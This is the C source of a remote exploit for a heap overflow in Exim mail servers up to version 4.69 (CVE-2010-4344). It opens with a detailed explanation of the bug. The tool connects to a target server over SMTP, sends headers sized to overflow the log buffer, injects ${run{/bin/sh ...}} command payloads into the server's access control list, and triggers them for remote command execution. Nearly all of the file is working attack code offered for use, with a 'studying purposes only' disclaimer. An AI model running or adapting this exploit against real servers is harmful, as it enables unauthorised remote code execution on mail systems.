/***********************************************************
 * hoagie_hoagie_string_vformat.c
 * REMOTE EXIM EXPLOIT (<= 4.69) - CVE-2010-4344
 *
 * Bug reported by Sergey Kononenko
 *
 * After the connection has been established and all the setup work has been
 * done in smtp_in.c:smtp_setup_msg() receive_msg() is called from exim. Inside
 * receive_msg() the headers for the following smtp message are initialized:
 *
 * received_header = header_list = header_last = store_get(sizeof(header_line));
 * header_list->next = NULL;
 * header_list->type = htype_old;
 * header_list->text = NULL;
 * header_list->slen = 0;
 * // Control block for the next header to be read.
 *
 * next = store_get(sizeof(header_line));
 * next->text = store_get(header_size);
 *
 * Per default there's no maximum header line size check because 
 * header_line_maxsize is set to 0. So the header length check per line will
 * not be executed at receive.c:1844
 *
 *     if (header_line_maxsize > 0 && next->slen > header_line_maxsize)
 *
 * We only have to care about HEADER_MAXSIZE (1024*1024) but thats enough
 * for our buffer because we have to overflow only LOG_BUFFER_SIZE (8192).
 * No HeaderX nor many other headers are important - only the exact log buffer
 * size for log_buffer is required.
 *
 * After some verifcation checks the header is added (receive.c:1835) to the
 * list. So we have now enough bytes in the header_list to overwrite our target
 * buffer. To force exim calling log_write for the reject info we have to send
 * a large message (more than 50M per default -> globals.c:
 *
 * uschar *message_size_limit = US"50M").
 *
 * There's no exact size we have to send - we only need to call log_write with
 * reject flag.
 *
 * log_write() appends more than the headers to log_buffer:
 * receive.c:2765  "rejected from <%s>%s%s%s%s: "
 *                 "message too big: read=%d max=%d" 
 * log.c:895       "Envelope-from: <%s>\n"
 * log.c:901       "Envelope-to: <%s>\n"
 *
 * Afterwards all headers are added -> so we know exactly how many bytes we
 * have to overwrite. The string_format() call in log.c:925 appends the headers
 * to the log_buffer. string_vformat() doesn't handle the last format string
 * correctly.
 *
 * If no with or precision is defined inside format string both values are set
 * to -1 so width = precision = slen will be set. Because p and last point to
 * the same memory location the condition is true and width and precision will
 * be set to -1 -> writing complete string (slen) -> overflow.
 * 
 * string.c:1270 
 *   if (p >= last - width)
 *     {
 *     yield = FALSE;
 *     width = precision = last - p - 1;
 *     }
 * sprintf(CS p, "%*.*s", width, precision, s);
 *
 * log_buffer is allocated on heap at an early stage because it's required as
 * soon as possible to report erros etc. Everything else is allocated after the
 * log_buffer so we can overwrite internal exim structures.
 *
 * Luckily exim uses an internal command interpreter to replace internal
 * variables and sub commands. This interpreter is also used for checks against
 * access control lists 
 *
 * acl_check -> acl_check_condition -> expand ...
 *
 * Because this check is executed at the beginning of a SMTP session we use this
 * acl as target.
 *
 * smtp_in.c:3437
 *     if (acl_smtp_mail == NULL) rc = OK; else
 *     {
 *     rc = acl_check(ACL_WHERE_MAIL, NULL, acl_smtp_mail, &user_msg, &log_msg);
 *     if (rc == OK && !pipelining_advertised && !check_sync())
 *       goto SYNC_FAILURE;
 *     }
 *
 * acl_smtp_mail points to a location in our header after overwriting log_buffer
 * so we can inject an access control list for the running process.
 * (other or new processes are not affacted of the memory modification).
 *
 * $ ./hoagie_exim_string_vformat -d mx.target.com
 * hoagie_exim_string_vformat.c - exim <= 4.69 remote
 * -andi / void.at
 *
 * [*] sending EHLO ...
 * [*] sending MAIL FROM ...
 * [*] sending RCPT TO ...
 * [*] sending DATA ...
 * [*] sending headers ...
 * [*] trigger run command ...
 * $
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define DEFAULT_SENDER      "postmaster@localhost"
#define DEFAULT_RECIPIENT   "postmaster@localhost"
#define DEFAULT_EHLO        "localhost.com"
#define DEFAULT_PREFIX      "X-Mailer"
#define DEFAULT_PORT        9999
#define DEFAULT_BUFFER_SIZE 40000
#define HEADER_BUFFER_SIZE  8192
#define DEFAULT_FILLER      "nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn"

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-h]\n"
           "\n"
           "-h        help\n"
           "-f from   set mail sender (default: %s)\n"
           "-t to     set mail recipient (default: %s)\n"
           "-d server mail server\n"
           "\n"
           ,
           argv[0],
           DEFAULT_SENDER,
           DEFAULT_RECIPIENT,
           DEFAULT_PORT);
   exit(1);
}

/* connect_to
 * connect to remote http server
 */
int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          return -3;
       }
   }

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      return -4;
   }

   return s;
}

/*
 * handle smtp session
 */
int smtp_session(char *destination, char *ehlo, char *sender, char *recipient) {
   int s;
   int state = 0;
   int r;
   fd_set fs;
   char buffer[DEFAULT_BUFFER_SIZE];
   long code;
   char *e;
   int c;
   int i;
   int length;

   s = connect_to(destination, 25);
   if (s < 0) {
      fprintf(stderr, "[*] connection to %s:25 failed\n", destination);
      return -1;
   }

   FD_ZERO(&fs);
   FD_SET(s, &fs);

   while ( r != -1 && state != 6 && select(s + 1, &fs, NULL, NULL, NULL) ) {
      memset(buffer, 0, sizeof(buffer));
      r = read(s, buffer, sizeof(buffer));
      if (r == -1 || !r) {
         continue;
      }
      code = strtol(buffer, &e, 10);
      if ( (code == LONG_MAX || code == LONG_MIN) && errno == -ERANGE) {
         break;
      }
      switch(state) {
         case 0:
              fprintf(stderr, "[*] sending EHLO ...\n");
              state = 1;
              snprintf(buffer,
                       sizeof(buffer),
                       "EHLO %s\n",
                       ehlo);
              write(s, buffer, strlen(buffer));
              break;
         case 1:
              fprintf(stderr, "[*] sending MAIL FROM ...\n");
              state = 2;
              snprintf(buffer,
                       sizeof(buffer),
                       "MAIL FROM: <%s>\n",
                       sender);
              write(s, buffer, strlen(buffer));
              break;
         case 2:
              fprintf(stderr, "[*] sending RCPT TO ...\n");
              state = 3;
              snprintf(buffer,
                       sizeof(buffer),
                       "RCPT TO: <%s>\n",
                       recipient);
              write(s, buffer, strlen(buffer));
              break;
         case 3:
              fprintf(stderr, "[*] sending DATA ...\n");
              state = 4;
              snprintf(buffer,
                       sizeof(buffer),
                       "DATA\n");
              write(s, buffer, strlen(buffer));
              break;
         case 4:
              state = 5;
              length = strlen("dddd-dd-dd dd:dd:dd") + 1 +
                       strlen("bbbbbb-bbbbbb-bb") + 1 +
                       strlen("rejected from <> H= () []:") + strlen(sender) + 
                       strlen("localhost") + strlen(ehlo) +
                       strlen("127.0.0.1") +  1 +
                       strlen("message too big: read=") + 8 + 1 +
                       strlen("max=") + 8 + 1 +
                       strlen("Envelope-from: <>") + strlen(sender) + 1 +
                       strlen("Envelope-to: <>") + strlen(recipient) + 1;
               
              i = snprintf(buffer, sizeof(buffer), "%s: ", DEFAULT_PREFIX);
              length += i;
              while (length + 3 < HEADER_BUFFER_SIZE - 3) {
                  buffer[i++] = DEFAULT_FILLER[0];
                  length++;
              }
              buffer[i++] = '\n';
              buffer[i++] = '0';

              i += 2;

              fprintf(stderr, "[*] sending headers ...\n");

              write(s, buffer, strlen(buffer));
              snprintf(buffer,
                       sizeof(buffer),
                       "%s-1: ", DEFAULT_PREFIX);
              i += strlen(buffer);
              for (i = 0; i < 300; i++) {
                 strcat(buffer, "${run{/bin/sh -c \"exec /bin/sh -c '/usr/bin/touch /tmp/exim.touch'\"}} ");
              }
              strcat(buffer, "\n");
              write(s, buffer, strlen(buffer));

              length = snprintf(buffer,
                       sizeof(buffer),
                       "%s\n",
                       DEFAULT_FILLER);

              for (i = 0; i < 52428800 / strlen(buffer); i++) {
                 write(s, buffer, strlen(buffer));
              }

              snprintf(buffer,
                       sizeof(buffer),
                       "\n.\n");
              write(s, buffer, strlen(buffer));
              break;
         case 5:
              fprintf(stderr, "[*] trigger run command ...\n");

              state = 6;
              snprintf(buffer,
                       sizeof(buffer),
                       "MAIL FROM: <%s>\n",
                       sender);
              write(s, buffer, strlen(buffer));
              break;
         case 6:
              break;
      }
   }

   close(s);

   return state;
}

/* main entry
 */
int main(int argc, char **argv) {
   char c;
   char *sender = DEFAULT_SENDER;
   char *recipient = DEFAULT_RECIPIENT;
   char *ehlo = DEFAULT_EHLO;
   char *destination = NULL;

   fprintf(stderr,
           "hoagie_exim_string_vformat.c - exim <= 4.69 remote\n"
           "-andi / void.at\n\n");

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hf:t:d:e:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;

            case 'f':
                 sender = optarg;
                 break;

            case 't':
                 recipient = optarg;
                 break;

            case 'd':
                 destination = optarg;
                 break;

            case 'e':
                 ehlo = optarg;
                 break;
         }
      }

      if (!destination) {
         fprintf(stderr, "[*] destination server missing (-d)\n");
      } else {
         smtp_session(destination, ehlo, sender, recipient);
      }
   }

   return 0;
}

